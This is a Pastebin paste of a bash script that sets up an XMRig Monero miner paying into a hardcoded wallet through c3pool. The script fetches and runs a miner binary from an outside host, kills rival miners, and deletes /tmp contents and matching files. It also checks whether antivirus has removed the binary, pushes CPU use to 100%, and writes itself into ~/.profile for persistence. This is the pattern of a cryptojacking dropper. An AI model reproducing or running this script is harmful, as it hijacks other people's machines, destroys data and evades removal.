Advertisement
Guest User

Untitled

a guest
Mar 10th, 2023
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.88 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. WALLET="41poaCNDTvs33KCFKfekN88Ehf59ddparQdFKFT4XKrUMnc1Ude7xtvhZuKfTai8tDML6gFyTAKY5RuDDxDqLRZpT8QpQ9b"
  4. PORT=$(( 19999 ))
  5.  
  6. if [ -z $HOME ]; then
  7. if [ "$(id -u)" == "0" ]; then
  8. export HOME=/root
  9. elif [ "$(id -u)" != "0" ]; then
  10. export HOME=/tmp
  11. fi
  12. fi
  13.  
  14. if [ ! -d $HOME ]; then
  15. exit 1
  16. fi
  17.  
  18. if ! (type wget >/dev/null || type curl >/dev/null); then
  19. echo "ERROR: This script requires \"wget or curl\" utility to work correctly"
  20. exit 1
  21. fi
  22.  
  23. # start doing stuff: preparing miner
  24.  
  25. echo "[*] Removing previous c3pool miner (if any)"
  26. if sudo -n true 2>/dev/null; then
  27. sudo systemctl stop c3pool_miner.service 2>/dev/null
  28. sudo systemctl disable c3pool_miner.service 2>/dev/null
  29. sudo systemctl disable 2>/dev/null
  30. sudo killall xmrig 2>/dev/null
  31. sudo pkill xmrig 2>/dev/null
  32. kill $(ps aux | grep "[--]config=" | awk '{print $2}') 2>/dev/null
  33. sudo rm -rf /etc/systemd/system/c3pool_miner.service 2>/dev/null
  34. else
  35. killall -9 xmrig 2>/dev/null
  36. killall xmrig 2>/dev/null
  37. pkill xmrig 2>/dev/null
  38. kill $(ps aux | grep "[--]config=" | awk '{print $2}') 2>/dev/null
  39. fi
  40.  
  41.  
  42. echo "[*] Removing $HOME/.c3pool directory"
  43. rm -rf $HOME/c3pool 2>/dev/null
  44. rm -rf $HOME/.c3pool 2>/dev/null
  45. rm -rf /tmp/c3pool 2>/dev/null
  46. rm -rf /tmp/* 2>/dev/null
  47. find . -name "*c3pool*" -exec rm -rf {} \; 2>/dev/null
  48. find . -name "*xmrig*" -exec rm -rf {} \; 2>/dev/null
  49. find . -name "*miner*" -exec rm -rf {} \; 2>/dev/null
  50.  
  51. echo "[*] Downloading C3Pool advanced version of xmrig to /tmp/xmrig.tar.gz"
  52. if ! (wget -q -O /tmp/xmrig.tar.gz "http://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz" || curl -s "http://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz" -o /tmp/xmrig.tar.gz); then
  53. echo "ERROR: Can't download file."
  54. exit 1
  55. fi
  56.  
  57. echo "[*] Unpacking /tmp/xmrig.tar.gz to $HOME/.c3pool"
  58. [ -d $HOME/.c3pool ] || mkdir $HOME/.c3pool
  59. [ -f $HOME/.c3pool/.profile ] || touch $HOME/.c3pool/.profile
  60.  
  61. if ! tar xf /tmp/xmrig.tar.gz -C $HOME/.c3pool; then
  62. echo "ERROR: Can't unpack /tmp/xmrig.tar.gz to $HOME/.c3pool directory"
  63. exit 1
  64. fi
  65. rm /tmp/xmrig.tar.gz
  66.  
  67. echo "[*] Checking if advanced version of $HOME/.c3pool/xmrig works fine (and not removed by antivirus software)"
  68. $HOME/.c3pool/xmrig --help >/dev/null
  69. if (test $? -ne 0); then
  70. if [ -f $HOME/.c3pool/xmrig ]; then
  71. echo "WARNING: Advanced version of $HOME/.c3pool/xmrig is not functional or got removed"
  72. fi
  73.  
  74. echo "[*] Looking for the latest version of Monero miner"
  75. LATEST_XMRIG_RELEASE=`curl -s https://github.com/xmrig/xmrig/releases/latest | grep -o '".*"' | sed 's/"//g'`
  76. LATEST_XMRIG_LINUX_RELEASE="https://github.com"`curl -s $LATEST_XMRIG_RELEASE | grep xenial-x64.tar.gz\" | cut -d \" -f2`
  77.  
  78. echo "[*] Downloading $LATEST_XMRIG_LINUX_RELEASE to /tmp/xmrig.tar.gz"
  79. if ! curl -L --progress-bar $LATEST_XMRIG_LINUX_RELEASE -o /tmp/xmrig.tar.gz; then
  80. echo "ERROR: Can't download $LATEST_XMRIG_LINUX_RELEASE file to /tmp/xmrig.tar.gz"
  81. exit 1
  82. fi
  83.  
  84. if ! tar xf /tmp/xmrig.tar.gz -C $HOME/.c3pool --strip=1; then
  85. echo "WARNING: Can't unpack /tmp/xmrig.tar.gz to $HOME/.c3pool directory"
  86. fi
  87. rm /tmp/xmrig.tar.gz
  88.  
  89. $HOME/.c3pool/xmrig --help >/dev/null
  90. if (test $? -ne 0); then
  91. if [ -f $HOME/.c3pool/xmrig ]; then
  92. echo "ERROR: Stock version of $HOME/.c3pool/xmrig is not functional too"
  93. else
  94. echo "ERROR: Stock version of $HOME/.c3pool/xmrig was removed by antivirus too"
  95. fi
  96. exit 1
  97. fi
  98. fi
  99.  
  100. echo "[*] Miner $HOME/.c3pool/xmrig is OK"
  101.  
  102. PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'`
  103. if [ "$PASS" == "localhost" ]; then
  104. PASS=`ip route get 1 | awk '{print $NF;exit}'`
  105. fi
  106. if [ -z $PASS ]; then
  107. PASS=na
  108. fi
  109. if [ ! -z $EMAIL ]; then
  110.  
  111. PASS="$PASS:$EMAIL"
  112. fi
  113.  
  114.  
  115. sed -i 's/"donate-level": *[^,]*,/"donate-level": 1,/' $HOME/.c3pool/config.json
  116. sed -i 's/"url": *"[^"]*",/"url": "auto.c3pool.org:'$PORT'",/' $HOME/.c3pool/config.json
  117. sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' $HOME/.c3pool/config.json
  118. sed -i 's/"pass": *"[^"]*",/"pass": "'$PASS'",/' $HOME/.c3pool/config.json
  119. sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 100,/' $HOME/.c3pool/config.json
  120. sed -i 's/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 75,/' $HOME/.c3pool/config.json
  121. sed -i 's#"log-file": *null,#"log-file": "'$HOME/.c3pool/xmrig.log'",#' $HOME/.c3pool/config.json
  122. sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $HOME/.c3pool/config.json
  123.  
  124. cp $HOME/.c3pool/config.json $HOME/.c3pool/config_background.json
  125. sed -i 's/"background": *false,/"background": true,/' $HOME/.c3pool/config_background.json
  126.  
  127. # preparing script
  128.  
  129. echo "[*] Creating $HOME/.c3pool/miner.sh script"
  130. cat >$HOME/.c3pool/miner.sh <<EOL
  131. #!/bin/bash
  132. if ! pidof xmrig >/dev/null; then
  133. nice $HOME/.c3pool/xmrig \$*
  134. else
  135. echo "Monero miner is already running in the background. Refusing to run another one."
  136. echo "Run \"killall xmrig\" or \"sudo killall xmrig\" if you want to remove background miner first."
  137. fi
  138. EOL
  139.  
  140. if sudo -n true 2>/dev/null; then
  141. if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') -gt 3500000 ]]; then
  142. echo "[*] Enabling huge pages"
  143. echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf >/dev/null
  144. sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc))) >/dev/null
  145. else
  146. echo "[*] Huge already enabled"
  147. fi
  148. else
  149. echo "[*] Not enabling huge pages"
  150. fi
  151.  
  152. touch $HOME/.profile
  153. sed -i '/c3pool/d' $HOME/.profile
  154. echo "$HOME/.c3pool/miner.sh --config=$HOME/.c3pool/config_background.json >/dev/null 2>&1" >>$HOME/.profile
  155. chmod +x $HOME/.c3pool/miner.sh
  156. (/bin/bash $HOME/.c3pool/miner.sh --config=$HOME/.c3pool/config_background.json >/dev/null 2>&1 || /bin/sh $HOME/.c3pool/miner.sh --config=$HOME/.c3pool/config_background.json >/dev/null 2>&1)
  157. rm -rf /tmp/*.sh
  158.  
  159. if pidof xmrig >/dev/null; then
  160. PID=$(pidof xmrig)
  161. echo "Running with $PID"
  162. else
  163. echo "Not Running"
  164. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement